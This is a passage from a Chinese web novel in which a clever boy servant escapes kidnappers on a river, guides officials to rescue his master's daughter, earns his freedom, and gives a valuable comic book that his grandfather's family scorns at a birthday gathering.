一行人浩浩荡荡地朝着县城出发。 第57章 突遇绑架!凶犯竟是他! 马车上摇摇晃晃,方先生清了清嗓子,开始给张金宝和陈平川,科普县试流程。 “县试考期一日,主要考校帖经、墨义,以《四书》为主。” 他顿了顿,神色严肃起来:“考场纪律森严,切不可交头接耳,更不可夹带舞弊,一旦被发现,轻则枷号示众,重则永不录用,你们要切记!” 张金宝听得冷汗涔涔,小脸更白了。 张盛财一面拍着儿子的肩膀,粗声粗气地安慰:“金宝啊,别怕,考不好没关系,爹不怪你。” 转过头,他又压低了声音,对着张金宝的耳朵警告:“臭小子,你要是敢给老子交白卷,回来屁股开花!” 这变脸速度,看得陈平川差点笑出声。 到了考场外,已是人头攒动,黑压压的一片。 各路学子在家人的簇拥下,怀揣着紧张与期盼,等待着改变命运的时刻。 张金宝手心全是汗,腿肚子都在打颤。 陈平川拉了拉他的衣袖,凑到他耳边低语:“少爷,别怕,就当是平日里先生考校功课,把你会的都写上去就行。记住我教你的那些窍门,能写多少写多少。” 张金宝感激地看了陈平川一眼,重重地点了点头,一副视死如归的模样,随着人流走进了考场。 等待的时间总是漫长的。 张静姝在马车里坐立不安,一会儿掀开车帘看看,一会儿又嘟着嘴抱怨。 “爹爹,好无聊啊!我要去买糖人!”她晃着张盛财的胳膊。 张盛财正伸长了脖子往考场里瞅,闻言不耐烦地挥挥手:“去吧去吧,让进财陪你去,千万别跑远了!” 一个高瘦的,名叫进财的家丁应声而出。 张静姝却眼珠一转,一把拉住了正要下车透气的陈平川。 “臭书童,你也来陪我!”她扬着小下巴,不容拒绝。 陈平川看向张盛财,后者连连摆手,无奈,他只得跟上。 张静姝像只刚出笼的小鸟,在街上东看看西瞅瞅,对什么都好奇。 “臭书童,那个是什么?” “那是捏面人的,用米粉捏出各种人物花鸟。” “那这个呢?” “这是卖糖画的,用融化的糖稀作画。” 陈平川几乎是有问必答,而且回答得风趣幽默,时不时还夹杂些新奇的说法,逗得张静姝咯咯直笑。 不过,她很快又板起小脸,故意摆出一副“也没什么了不起”的傲娇模样。 天公不作美,刚才还是晴空万里,转眼间便乌云密布,豆大的雨点噼里啪啦地砸了下来。 三人慌忙躲到一处屋檐下。 进财见雨势不小,便道:“小姐,你们在此稍候,我去买几把伞来。”说完便一头扎进了雨幕。 PC站点如章节文字不全请用手机访问 屋檐下只剩下陈平川和张静姝两人。 雨声淅淅沥沥,街上的行人也少了许多。 突然,从小巷中猛地窜出两个蒙面人,目露凶光,直扑二人而来! “啊!”张静姝吓得尖叫。 陈平川反应极快,一把将张静姝推向身后,自己则迎了上去,试图阻拦。 他毕竟只是个八、九岁的孩子,哪里是两个成年壮汉的对手。 其中一个蒙面人嫌他碍事,一记手刀狠狠劈在他的后颈。 剧痛袭来,陈平川眼前一黑,身子软软地倒了下去。 耳边,是张静姝惊恐的哭喊声,还有一个男人狞笑…… …… 陈平川悠悠转醒。 头痛欲裂,像是前世宿醉后的状态。 他动了动,发现全身被粗麻绳捆得结结实实,手腕勒得生疼。 四周一片漆黑,伸手不见五指。 空气潮湿,带着一股浓重的鱼腥味,还有隐约的水浪拍打声。 船? 他努力辨别着,船身在轻微摇晃,水声规律。 自己这是在一艘船上! 而且,听这水声,恐怕是在某个湖泊或者大河中央。 “呜呜……爹,娘,你们在哪里?我害怕……” 旁边,张静姝带着哭腔的声音细细碎碎地传来。 陈平川心中一沉,张静姝也被绑了! “小姐别哭!我在这里!”他压低声音,尽量让自己的语气听起来镇定。 他扭动身体,麻绳勒进肉里,疼得他龇牙咧嘴。但他顾不上这些,耳朵紧紧贴着冰冷的船板,仔细倾听着外面的动静。 “一千两?!钱三德,你说张盛财那老小子真会掏那么多银子?”一个粗犷的男声传来,带着几分醉意。 张昭认出来,他昏迷之前,还听到这个人的笑声。 “堂兄放心,张盛财就这么一个宝贝女儿,金贵着呢!只要拿到钱,咱们就淹死这两个小崽子,谁也不知道!” 是钱三德的声音!怨毒而得意。 “到时候,咱们兄弟远走高飞,逍遥快活!” “哈哈,好!来,喝酒!” PC站点如章节文字不全请用手机访问 外面传来酒杯碰撞和划拳的喧闹声。 淹死我……? 张静姝听得分明,吓得倒抽一口凉气,哭声骤然拔高:“呜哇——爹爹!娘亲!救命啊!” “小姐别哭了!”陈平川心中焦急万分,这哭声要是把那两个亡命徒引进来,后果不堪设想。 他猛地一扭,额头撞上什么硬物,也顾不得疼,用尽力气凑近张静姝,努力安抚她的情绪。 结果,张静姝却哭得更凶,不愿停下。 陈平川发了狠,声音陡然冷厉:“张静姝!你给我闭嘴!你要是再哭,把他们引进来,我们两个都得死!到时候我可不管你了!” 张静姝从未见过陈平川如此严厉地对待自己,顿时被吓得一窒,哭声戛然而止,只剩下细微的抽噎,含泪的大眼睛在黑暗中惊恐地望着陈平川的方向。 恐惧压倒了委屈,她竟真的不敢再大声哭闹,生怕陈平川将她丢下不管。 陈平川松了口气,随即开始冷静地观察四周。 虽然漆黑,但借着船板缝隙透进来的微弱月光,依稀能辨认出这是一个狭小的船舱。 他用身体在地上蹭着,摸索着。 突然,他的手背触碰到了一个粗糙的凸起。 他心中一动,用手指细细感觉。 是一块嵌在舱壁木板上的铁片,边缘似乎有些锋利。 有救了! 他立刻调整姿势,将捆在背后的双手手腕往那铁片上凑。 这是一个极其艰难的动作,他看不见背后,只能凭感觉。 “嘶……” 铁片粗糙的边缘划过他的手腕,一阵火辣辣的刺痛传来。 他咬紧牙关,一下,两下,用力地来回磨着粗硬的麻绳。 张静姝在一旁屏住呼吸,大气不敢出,黑暗中只能听到陈平川压抑的喘息和绳索摩擦铁片的“沙沙”声。 她看不清他在做什么,但也猜到,陈平川似乎在想办法脱身。 PC站点如章节文字不全请用手机访问 第58章 绝境逃生,命悬一线! 时间一点点过去,每一息都像一年那么漫长。 陈平川手腕上的刺痛已经变得麻木,只剩下机械的摩擦动作。 终于,“啪”的一声轻响。 绳索断了! 陈平川顾不得查看手腕的伤势,立刻摸索着先帮张静姝解开了身上的束缚。 张静姝一得到自由,再也忍不住,猛地扑进他怀里,小声啜泣起来,声音带着后怕的颤抖:“平川哥哥……你别丢下我……我好怕……” 这是她第一次,没有叫他“臭书童”。 陈平川轻轻拍了拍她的背,尽管自己也心有余悸,声音却尽量放得平稳:“放心,我不会丢下你。” 他示意张静姝留在原地,不要出声。 自己则猫着腰,悄悄摸到舱门口,透过门缝小心翼翼地向外观察。 外面天色已经完全黑透,江面上只有朦胧的月光。 甲板上,钱三德和他那个恶人堂兄已经喝得酩酊大醉。 一人趴在简陋的木桌上,发出震天的鼾声,正是钱三德。 另一人脸上带着刀疤,歪靠在船舷边,手里还抓着个空酒坛,脑袋一点一点的,显然也睡熟了,应该是钱三德的堂兄。 好机会! 陈平川眼睛一亮,立即悄悄从船舱里爬出来,轻轻走上甲板,四处张望。 他看到在这条大船的船尾,还用绳子系着一条窄小许多的渔船。 一个大胆的逃生计划,在他脑中初步形成。 他无声地退回到张静姝身边,对她做了个“嘘”的手势,然后指了指外面,再指了指小渔船的方向,示意她跟上,动作要轻。 张静姝用力点了点头,小脸上满是泪痕。 两人蹑手蹑脚,如同两只小猫,一步一步地走出船舱。 江风吹来,带着水汽的微凉,让两人精神一振。 就在他们距离那条小渔船,只差几步之遥时—— “别跑!” 一声暴喝陡然从钱三德的方向传来! 两人如同被钉在原地,吓得魂飞魄散,一瞬间手脚冰凉。 陈平川几乎能听到自己心脏狂跳的声音,他战战兢兢地回头看去。 只见钱三德依旧趴在桌上,闭着眼睛,嘴里含糊不清地嘟囔着:“银子……都是我的……” 原来这家伙是在说梦话。 长出一口气,陈平川立刻对张静姝做了个噤声的手势,示意她跟紧。 PC站点如章节文字不全请用手机访问 两人猫着腰,借着微弱月光,像两只受惊的小猫,小心翼翼地摸向船舱外,那条救命的小船。 陈平川先跳了上去,伸手去拉张静姝。 突然,“哐当!”一声脆响划破了寂静的夜。 钱三德翻身时,手臂不慎将一个空酒坛扫落在甲板上。 在这死一般寂静的江面上,声音显得格外刺耳。 “他娘的!谁?!”船舷边那个歪靠着的刀疤脸猛地睁开眼,睡意惺忪间,正好看见两个小小的身影鬼鬼祟祟地跳上小船。 他眼中凶光一闪。 钱三德也被这声响惊醒,揉着惺忪睡眼,待看清状况,顿时大惊失色,连滚带爬地从桌子底下钻出来:“堂兄!堂兄!那两个小崽子要跑!” 两人踉跄着起身,朝着船尾追来。 张静姝吓得魂飞魄散,小脸惨白。 陈平川心中暗道一声“不好!” 他手忙脚乱地去解那根粗糙的缆绳,绳结被水浸泡过,又勒得死紧,异常难解。 他手指都快磨破了,缆绳终于被他扯开。 拿起船桨,陈平川使出吃奶的力气,奋力向江心划去。 “小畜生,还想跑!”刀疤脸见状,怒吼一声。 竟毫不犹豫,一个猛子扎进了冰冷刺骨的江水之中。 水花四溅。 刀疤脸水性极好,入水后如同一条黑色的游鱼,双臂强健有力地划动,迅速朝着摇摇晃晃的小渔船扑来。 “平川哥哥,快点!他过来了!”张静姝紧紧抓住船舷,带着哭腔尖叫。 陈平川咬紧牙关,额头上渗出细密的汗珠,拼命划船。 可他毕竟年幼力弱,小船只是在原地晃晃悠悠地打转,行进得极其缓慢。 刀疤脸已如水鬼般游至船边,他一只大手“嘭”地一声抓住了小船的船舷。 船身剧烈一晃,差点倾覆。 刀疤脸狞笑着,便要翻身上船。 “嘿嘿,我看你们往哪里跑!” 那张狰狞的脸在月光下,如同恶鬼。 陈平川眼中闪过一抹决绝,他猛地举起手中唯一的武器——那根沉重的船桨,用尽全身力气,朝着刀疤脸的头上狠狠拍去! “啪!” 一声闷响。 刀疤脸只是晃了晃脑袋,挨了这一下,反而更激起了他的凶性。 PC站点如章节文字不全请用手机访问 他毕竟是成年壮汉,皮糙肉厚,陈平川这点力气,根本造不成什么伤害。 “小畜生!” 刀疤脸一把抓住了船桨,猛地向后一拽! 陈平川只觉一股根本无法抗拒的巨力传来,身体瞬间失去平衡。 “噗通!” 他连人带桨,被硬生生拖入了冰冷刺骨的江水中。 “平川哥哥!” 张静姝发出一声绝望的尖叫,眼睁睁看着陈平川的身影在水面上挣扎了一下,便消失在漆黑的波纹之下。 刀疤脸抹了一把脸上的水,麻利地爬上小船,对吓傻的张静姝狞笑。 “臭丫头,那小子喂鱼去了!” 说罢,他一把抓住张静姝的胳膊,如同拎一只小鸡,丢到船尾,拿起木桨,调转船头,将小船划回了大船的方向。 冰冷的江水瞬间包裹了陈平川,凭借前世练就的游泳技能,他很快在水下调整过来。 悄悄地将头探出水面,冷冷地望着远处的小船。 不能回去硬拼,那是送死! 必须先逃出去,搬救兵,才能救人! 他辨明了方向,咬紧牙关,朝着远处岸边那片模糊的灯火,悄无声息地游去。 江水冰冷,像无数根钢针扎进骨头里。 陈平川小小的身体在黑暗中挣扎,脑海中挥之不去的,是张静姝那张被泪水和惊恐占满的小脸,还有刀疤脸那狰狞的笑容。 他不能停,绝对不能! 张静姝虽然任性腹黑,但陈平川骨子里毕竟是个接受过二十多年现代教育的成年人。 让他眼睁睁看着一个六岁的小姑娘被两个恶人残忍杀害,他做不到! 而且,两人相处这么久,也有了些感情,于情于理,也要尽力去救。 体力在一点点流失,刺骨的寒意让他的意识开始模糊,四肢也变得僵硬麻木。 一个八岁的身体,终究是扛不住这滔滔江水。 难道,真的要死在这里了吗? PC站点如章节文字不全请用手机访问 第59章 主动请缨,勇斗恶徒! 就在他绝望的瞬间,前方水面上传来一声模糊的呼喊。 “咦?那水里漂的是什么?好像是个人!” 一艘夜行的渔船,像一道破开绝望的光,出现在他模糊的视线里。 船上的老渔夫将他从水里捞了上来,触手一片冰凉。看清是个浑身湿透、脸色青紫的孩子,老渔夫不禁大惊失色。 “娃娃,你怎么一个人掉水里了?” 陈平川冻得嘴唇发紫,牙齿不住地打战,却强撑着最后一口气,抓住老渔夫粗糙的手。 “老伯……送我……送我回岸边,去县衙……报官救人!” 老渔夫见他神志尚清,不像失足落水的顽童,不敢怠慢,立刻给他披上自己的破蓑衣,调转船头,奋力朝着最近的渡口划去,还给他指明了县衙的方向。 陈平川连一声谢都来不及说,一上岸,便用尽全身力气,朝着县城的方向拔腿狂奔。 夜色深沉,他小小的身影在空旷的街道上跌跌撞撞,只有一个念头:快!再快一点! 转过一个街角,他一头撞上了一个人。 竟是张盛财! 他丢了女儿,又不见了陈平川,带着家丁在城里,像无头苍蝇般找了大半夜,却没有半点消息。 见天快亮了还没消息,正准备去报官。 结果,两人在路上相遇。 张盛财低头,见是陈平川,先是一愣。 随即,他看到陈平川孤身一人,顿时面如死灰,一颗心沉到了谷底。 “平川!静姝呢?我的静姝在哪里?!”张盛财一把抓住陈平川瘦弱的肩膀,用力摇晃,声音嘶哑。 陈平川大口喘着粗气,用最快的语速将一切和盘托出。 “老爷!是钱三德!他伙同他堂兄绑了小姐!” “他要一千两赎金!还说……一拿到钱就把小姐和我都淹死!” “我们没时间了!” 张盛财听得目眦欲裂,浑身的肥肉都在愤怒地颤抖。 他二话不说,一把提起陈平川,夹在腋下,转身直奔县令府衙。 “咚!咚!咚!” 沉闷的鼓声划破了黎明前的寂静,惊飞了府衙屋檐上栖息的宿鸟。 县令被惊动升堂,睡眼惺忪,一脸不悦。 待听完陈平川条理清晰的叙述,县令又仔细询问了绑匪的相貌,尤其是那个刀疤脸。 原本还带着几分睡意的脸色瞬间一凛。 “左脸一道竖疤,从眉骨到嘴角?此人莫非是江洋大盗‘过江龙’张彪?此人凶残至极,已在数个州府犯下命案,官府通缉已久!” PC站点如章节文字不全请用手机访问 他重新审视着堂下这个身材弱小,眼神却异常坚毅的八岁孩子。 寻常成年人落入那等凶徒手中,早已吓得慌乱,这孩子竟能靠自己游水逃脱,还跑来报官? 这简直是奇迹! 县令猛地一拍惊堂木,再无半分懈怠:“来人!调集府内所有精锐捕快,备快船、火把、弓弩!务必救出人质,擒拿凶徒!” 张盛财当场跪倒在地,涕泪横流:“大人!只要能救回小女,小人愿散尽家财酬谢!” 陈平川也上前一步,拱手行礼:“大人,小人认得那艘贼船,也记得他们藏匿的大致水域,愿为向导!” …… 天色将明未明,江面上笼罩着一层薄薄的晨雾。 数艘官船如离弦之箭,悄无声息地破开水面,在陈平川的指引下,朝着绑匪可能藏匿的水域疾驰而去。 终于,在一处芦苇荡深处,一个极其隐蔽的河湾里,陈平川的目光锁定了一艘不起眼的乌篷船。 他压低声音,对身旁的捕头伸出手指。 “就是那艘船!” 乌篷船上,钱三德一夜未眠,眼圈发黑。 他焦躁地在甲板上走来走去,压低声音催促:“堂兄,天就快亮了,咱们赶紧把钱拿到手走人吧!我这心里总觉得不踏实!” 张彪说陈平川那小子已经淹死了,可钱三德心里就是悬着一块石头,总觉得那小子邪门得很。 船舱角落里,张静姝被麻绳捆着,小脸苍白如纸,眼睛哭得又红又肿,此刻正惊恐地望着这两个决定她生死的恶人。 “嚷嚷什么!”张彪被他吵得心烦,一双布满血丝的眼睛瞪了过来,刚想发作,耳朵却猛地一动。 船外,晨雾笼罩的江面上传来一阵阵细微却急促的破水声,隐约还伴随着杂乱的呼喊。 他猛地探头向外一看,脸色骤然大变。 只见数艘官船从芦苇荡的各个方向包抄而来,船头站满了手持兵刃的衙役,黑压压的一片,已将他们的退路完全封死。 “不好!是官船!我们被包围了!”张彪操起旁边的腰刀,脸色阴沉。 钱三德吓得腿一软,差点直接跪在甲板上,声音颤抖变音:“官……官府怎么会找到这里来?堂兄,不如我们……我们降了吧!兴许还能留条活路!” “蠢货!”张彪眼中狠戾之色一闪,一脚将钱三德踹了个跟头,“现在投降,只有死路一条!” 他转身一把抓过角落里的张静姝,提到自己身前,锋利的腰刀抵在了她稚嫩的脖颈上。 冰冷的触感让张静姝浑身一僵,连哭都忘了。 张彪挟持着张静姝走上船头,对着外面厉声嘶吼:“都别过来!谁再敢靠近一步,老子先宰了这女娃!” “静姝!” 官船船头,张盛财看到女儿命悬一线,只觉得肝胆俱裂。 他扶着船舷才勉强站稳,声音嘶哑地哀求:“好汉饶命!好汉饶命啊!千万别伤我女儿!你要什么我都给你,我都给你!” 县令眉头紧锁,抬手示意捕快们切勿轻举妄动。他扬声道:“船上的人听着!你们已被重重包围,插翅难飞!速速放下武器,释放人质,本官或可酌情为你们求一条生路!” PC站点如章节文字不全请用手机访问 “少他娘的废话!”张彪狂笑起来,刀锋又贴近了张静姝的皮肤一分,“给老子备一艘快船,再拿白银一千两!分文不能少!否则,我让这女娃陪葬!” “我给!我给!”张盛财想也不想就满口答应,“别说一千两,就是一万两,我砸锅卖铁也给你凑!只要你放了我女儿!” 县令却一句话让他如坠冰窟。 “张员外,这张彪手上命案累累,官府通缉已久。据卷宗记载,他每次绑票,收了赎金之后,都会将人质杀掉,从不留活口。” 张盛财脸上的血色瞬间褪尽,整个人如遭雷击,彻底绝望了。 就在这死一般的寂静中,一个清脆冷静的童声响起。 “张老爷,县尊大人,让小的去吧。” PC站点如章节文字不全请用手机访问 第60章 恶人伏诛,陈平川重获自由身! 众人循声望去,竟是陈平川。 他平静地开口:“他们要的是钱,小的去送钱。我只是个孩子,他们或许会放松警惕。小的想办法,把小姐换回来。” “平川!这……这太危险了!”张盛财心有不忍,毕竟陈平川刚从鬼门关逃回来。 陈平川却没有看他,而是快步走到县令身边,凑到他耳边,用只有两人能听到的声音飞快地说了几句。 县令听着,眼神浮现出惊讶。 他沉吟片刻,深深地看了陈平川一眼,从旁边的侍卫手里取出一柄寒光闪闪的薄刃匕首,塞进陈平川的手中。 “此物吹毛断发,锋利无比,万万要小心!” 陈平川接过匕首,迅速藏入怀中。 张盛财见陈平川心意欲绝,叹口气,从怀里掏出一沓银票递过来。 陈平川站到船头,挥舞手里的银票,对着乌篷船高声喊话:“我把钱送过去,你们把小姐放了!” 乌篷船上,钱三德和张彪看到陈平川活生生地站在那里,都吃了一惊。 张彪冷哼一声:“这小畜生命还真大,居然没淹死!” 他贪婪的目光在陈平川手中的银票上扫过,盘算了一下,便喝道:“好!你一个人乘小船过来!其他人,胆敢乱动一下,我就剁了这丫头的手指!” 钱三德心里那股不祥的预感越来越强烈,他极力劝阻:“堂兄,小心有诈!这小子邪门得很!” “滚!”张彪一脚踢在他屁股上,“一个毛都没长齐的小崽子,就把你吓成这样?废物!” 钱三德被骂得不敢再吭声。 陈平川依言独自划着一艘小船,慢慢靠近。 上了船,他将一沓银票递了过去。 张彪一把夺过,粗略点了点数额,脸上立刻绽放出贪婪的笑容。 然而,他收了钱,却没有放开张静姝,刀锋依旧抵着她的脖子,嘿嘿怪笑:“千金小姐可比你这臭书童值钱多了!想换人?做梦去吧!” “你言而无信!”陈平川脸上露出惊怒。 “是你太天真!”张彪得意大笑。 陈平川等的就是这一刻,他身形猛地一矮,早已紧握在手中的匕首,狠狠地刺入了张彪握刀的那只手臂的手筋处! “啊——!” 一声凄厉的惨叫划破江面。 张彪手臂剧痛,五指一麻,握着的腰刀“当啷”一声掉落在甲板上。 他捂住伤口,松开了张静姝。 “小姐快跑!”陈平川大喊,一把拉起还处于惊魂未定中的张静姝,就往船头冲。 张彪虽手臂重创,但凶性不减。 他用另一只完好的手捡起刀,红着眼睛扑了过来:“小畜生,老子先宰了你!” PC站点如章节文字不全请用手机访问 千钧一发之际! “放箭!”县令果断下令。 早已蓄势待发的弓箭手们同时松弦,十几支利箭撕裂晨雾,凌空飞来! 张彪躲闪不及,身上瞬间中了数箭,一头栽倒在甲板上,抽搐了几下便气绝身亡。 钱三德早已吓得瘫软如泥,抖成一团,被随后登上船头的衙役一把按住。 “静姝!我的女儿啊!”张盛财第一个冲上船,一把将扑过来的张静姝紧紧搂在怀里,老泪纵横。 张静姝在他怀中,哭得撕心裂肺。 陈平川看着眼前这一幕,紧绷的神经终于松弛下来。 他只觉得双腿一软,一屁股坐倒在甲板上,大口大口地喘着粗气。 …… 绑架之事平息,钱三德被押入大牢,江洋大盗张彪则被斩首示众,人头挂在城门之上,以儆效尤。 张盛财一行人返回张府时,已是傍晚。 望眼欲穿的孙氏早已等在门口,一见女儿安然无恙,抱着她母女哭得肝肠寸断。 张金宝围着陈平川,满眼都是崇拜:“大哥,你太厉害了!简直比齐天大圣还厉害!” 张府上下看向陈平川的眼神,也变成了敬佩和感激。 方先生捋着胡须,老怀甚慰,看着陈平川,不住地点头,满脸都是“此子乃我门下”的自豪。 张盛财安抚好妻女,走到陈平川面前,一把抓住他的肩膀,肥胖的脸上满是郑重。 “平川!你是我张家的大恩人!说吧,你要什么赏赐?金银、田地,只要你开口,老子绝不吝啬!” 陈平川摇了摇头,深深一揖。 “老爷,平川不要金银财宝。” 他抬起头,目光渴望。 “平川只求老爷能免去我的奴籍,还我自由身。让平川也能堂堂正正去考取功名,不负此生!” 张盛财脸上的表情瞬间凝固,他怔住了。 放走陈平川? 这个能写出《悯农》、能画出《西游记》、能智斗贪腐账房、还能从江洋大盗手中死里逃生的天才神童? 他心里那杆生意人的算盘,瞬间打得噼啪作响。 这孩子的价值,何止千金? 张静姝见父亲犹豫,立刻拉着他的衣袖,带着撒娇:“爹爹!平川哥哥为了救我,命都差点没了!你就答应他嘛!” “是啊爹!”张金宝也急了,“大哥这么厉害,怎么能当一辈子奴才!传出去,别人还不得戳我们张家的脊梁骨,说我们忘恩负义!” “老爷,孩子们说得对啊。”孙氏连连点头表示赞同。 PC站点如章节文字不全请用手机访问 方先生亦在一旁拱手,沉声劝道:“东家,平川有此志向,实乃我辈读书人之幸事。雏鹰已长,不应困于笼中,还望东家成全!” 被众人劝说,张盛财也觉得自己不该抓着陈平川不放,胸中那股豪气激发出来。 他重重一拍大腿:“好!我张盛财要是连这点气度都没有,还算什么人物!” 他指着陈平川,声如洪钟。 “今日,老子便还你自由!从今往后,你陈平川,便是我张府的贵客,而非书童!” 陈平川闻言,心中大石落地,再次躬身下拜,真心实意:“多谢老爷成全!” 张盛财办事雷厉风行,次日便托关系,去县衙销了陈平川的奴籍文书,办妥了良民的户牒。 至此,陈平川终于恢复了自由身,从此再无枷锁,天高任鸟飞,海阔任鱼跃! 不过,陈平川却并未离开张府。 他接受了张盛财的聘请,正式成为《西游记》连环画的掌柜,全权负责画册的绘制、印刷与销售。 张盛财许诺,除了利润分成之外,陈平川还可以得到每月10两的酬劳。 陈平川知道这是他积累原始资本,安身立命的第一步。 事情办妥,张盛财特批了他三天假,让他回家与亲人团聚。 PC站点如章节文字不全请用手机访问 第61章 陈平川拜寿送大礼,奈何陈老头眼瞎不识货 当晚,陈平川回到那个破旧的家,将恢复自由身的消息告知父母。 陈仲和激动得说不出话,只是一个劲地拍着儿子的背。 罗氏则一把抱住他,喜极而泣,口中不停念叨着“老天开眼”。 平玉更是高兴地围着哥哥团团转。 一家人的喜悦还未散去,罗氏擦干眼泪,忽然想起一事:“当家的,明日是爹七十大寿,你准备贺礼了吗?” 陈仲和笑容顿时一僵,随后叹口气,摇头道:“还未准备……但我只要给了银子,爹就会高兴吧。” 他看向陈平川,问道:“平川,你明天留下给你爷爷拜寿吗?” 陈平川脸上的笑容淡了下去。 对那个偏心到骨子里的老头,他实在生不出半点好感。 为了不让父亲陈仲和为难,他终究还是点了点头。 同时一个念头爬上来,他重新露出笑容:“爹,娘,你们不用准备银子了,我为爷爷准备了一份贺礼。” 次日,陈家正房大堂。 陈老太爷穿着一身浆洗得发白的旧长衫,端坐在一张吱嘎作响的破旧太师椅上,脸上挂着难得的笑容,准备接受子孙的祝贺。 二房一家人刚踏进屋子,所有人的目光便齐刷刷地落在了陈平川的身上。 “哟,这不是平川吗?怎么回来了?张府的活计不好干,被赶回来了?”大伯母刘氏面露意外,随后阴阳怪气地开口。 陈平川淡笑回应:“大伯母,我是请假回来,特意为爷爷拜寿的。” “二嫂,你家平川如今可是出息了,一个奴才,还能从主人家请假回来,真了不得啊。”三婶王氏皮笑肉不笑。 陈平香和陈平娇几个小辈也跟着窃笑,目光中充满了鄙夷和不屑。 她们本就瞧不起陈平川,后来陈平川卖身当了书童后,就更瞧不起了。 罗氏却气得浑身发抖,当即就要发作:“你们胡咧咧什么!我家平川好端端的,是张家老爷特许他回来看我们的!” 陈仲和拉住她,低声劝道:“今天是爹的好日子,你就忍忍吧。” 拜寿正式开始。 大房的陈仲文携着妻子刘氏,领着女儿陈平娇上前。 陈仲文装模作样地展开一幅自己写的“寿”字,言辞间满是恭维之词,引得陈老太爷捻须微笑,却是一个铜板的寿礼也未见。 接着是三房的陈仲武和王氏,带着儿子陈平西、女儿陈平香。 陈平西那张小嘴跟抹了蜜似的,几句吉祥话把陈老太太哄得眉开眼笑,赏了他一把花生。 自然,三房也是分文未出。 终于轮到二房。 陈老太爷和陈老太太皆是伸长了脖子,脸上带着毫不掩饰的期待。 在他们想来,老二家怎么也该拿出些像样的礼物来孝敬孝敬。 PC站点如章节文字不全请用手机访问 不料,上前的是陈平川。 他从怀中取出一本装订得颇为精美的册子,双手奉上,声音清朗:“孙儿平川,恭贺爷爷福如东海,寿比南山。此乃孙儿在亲手绘制的《西游记》画册,故事新奇,画风独特,世所罕见,特献与爷爷闲暇赏玩。” 陈家众人好奇地张望,只见是一本花花绿绿的小册子,脸上顿时露出鄙夷之色。 陈老太爷原本带着笑的脸瞬间沉了下来,他当是什么稀罕物事,原来是这种哄骗小孩子的玩意儿! 他重重哼了一声:“我还当是什么,原来是这等不值钱的玩意儿!拿这种东西来糊弄我老头子,你眼里还有没有我这个爷爷!?” 大伯母刘氏撇了撇嘴,语气尖酸:“哟,我还以为去了大户人家当差,能长多少见识,开多少眼界呢!结果就拿这种小孩子看的东西当宝贝送人,真是笑死我了!” 三婶王氏也跟着阴阳怪气地帮腔:“就是啊,平川如今可真是出息了,在张府当差,眼光就是不一样,送的礼都这么与众不同,真是让我们这些没见过世面的开眼了呢!” 陈平香、陈平娇几个女孩儿也是捂着嘴嗤嗤地笑,看向陈平川的眼神充满了轻蔑。 “我要看!我要看!”陈平西却对那花花绿绿的画册很感兴趣,嚷嚷着就要去抢。 陈老太太一脸嫌恶地摆了摆手,仿佛那画册是什么污秽之物:“拿去拿去!省得放在这里污了我们的眼!” 陈平西大喜过望,一把从陈平川手中抢过那本《西游记》画册,兴奋地叫了一声,当场就“刺啦刺啦”地撕扯起来,不一会儿,精美的画页便散落一地,被他踩在脚下。 陈平川看着这一幕,嘴角勾起一抹冷笑,并未出声阻止。 罗氏气得浑身发抖,眼圈都红了,正要上前理论,却被陈平川暗中拉住了手。 他凑到母亲耳边,用只有两人能听到的声音低语:“娘,别跟他们一般见识。这本画册,在庐州府黑市上,至少能卖几十两银子。跟这群人解释,就是对牛弹琴。” 罗氏闻言,震惊地瞪大了眼睛,再看向那一地狼藉的碎纸片,心疼得直抽抽。 几十两银子啊! 就这么被这群有眼无珠的白眼狼给糟蹋了!简直是天大的浪费! 陈老太太见二房的“寿礼”如此“寒酸”,连带着对他们一家也愈发不待见,拜寿仪式一结束,便直接开口赶人:“行了行了,今日人多,家里也坐不下,你们也没什么事,就先回去吧。” 好家伙,连顿寿宴的饭都没打算留他们吃。 陈平川心中冷笑,这正合他意。他搀扶着气得脸色发白的母亲和一脸失落的父亲,带着妹妹平玉,头也不回地走出了陈家老宅。 一出大门,陈平川便雇了辆村里的牛车,对父母道:“爹,娘,我们去庐州府!儿子请你们去迎仙楼,尝尝那里的席面!” 他要让辛劳一生的父母和乖巧的妹妹,也尝尝真正的美味佳肴,好好扬眉吐气一番。 陈平川一家人的身影刚消失在院门口,一辆气派的青布油顶马车便缓缓驶入了桃花村,停在了陈家老宅门口。 车帘掀开,走下来一位身穿锦缎外袍、体态富贵的中年男人,拉着一个七八岁大的男童。 “陈老哥!寿辰大喜啊!” 庐州府绸缎庄的钱掌柜领着个虎头虎脑的小孙子,满面春风地跨进了院门,手里还提着寿礼。 PC站点如章节文字不全请用手机访问 第62章 败家孙子撕画册,陈家上下悔断肠! 陈家人一见来客衣着光鲜,气度不凡,尤其是陈老太爷,脸上那点不快瞬间被笑容挤走。 “哎呀,钱老弟,什么风把你给吹来了!快,快请上座!”陈老太爷热情招呼。 陈仲文也赶紧凑上前,一脸斯文地拱手:“钱掌柜大驾光临,有失远迎。” 大伯母刘氏和三婶王氏也忙不迭地端茶倒水,脸上堆满了谄媚的笑。 酒过三巡,菜过五味,堂屋里的气氛热络起来。 钱掌柜的小孙子有些坐不住,在屋里转悠,一眼瞧见墙角边,陈平西正抓着一本花花绿绿的小册子撕扯,嘴里还发出“撕拉”的快活声音。 小孙子捡起画页,跑回来让钱掌柜看。 钱掌柜本是随意一瞥,目光触及上面独特的画风,猛地“咦”了一声。 他放下酒杯,从小孙子手里拿过那本被蹂躏得不成样子的彩绘画页,仔细端详。 越看,钱掌柜的脸色越是惊疑。 “这……这印刷……莫非是张府新出的那《西游记》连环画?”钱掌柜的声音带着几分不确定。 陈家人面面相觑,皆是一脸茫然。 陈仲文自诩见过些世面,清了清嗓子,故作斯文地欠身:“钱掌柜,此物……有何奇特之处?” 钱掌柜将那册子残页小心翼翼地摊在桌上,语气激动起来:“奇特?你可知,这《西游记》连环画,如今在庐州府可是炙手可热的宝贝!” 他指着册子:“我这孙儿吵着要,我托了多少关系,才高价五两银子给他弄到一本,编号都排到三百开外了!” “据说啊,这编号越是靠前,便越是珍贵。前五十的,已有人叫价到十两一本!至于前十的,那更是有价无市,千金难求!前几日还听闻,有人愿出三十两,求购一本带‘个位数’编号的!” 陈老太爷端着酒杯的手微微一颤,酒水洒出几滴。 他脑中“嗡”的一声,仿佛想起了什么。 几步冲到陈平西跟前,一把从陈平西手中夺过被撕得七零八落的画册残骸。 众人只见陈老太爷手指哆嗦着,将那些碎片一点点拼凑。 在那画册的封底,一个清晰的墨印小字,赫然映入众人眼帘——“肆”! “肆号!我的天老爷!”钱掌柜失声惊呼,眼珠子都快瞪出来了! 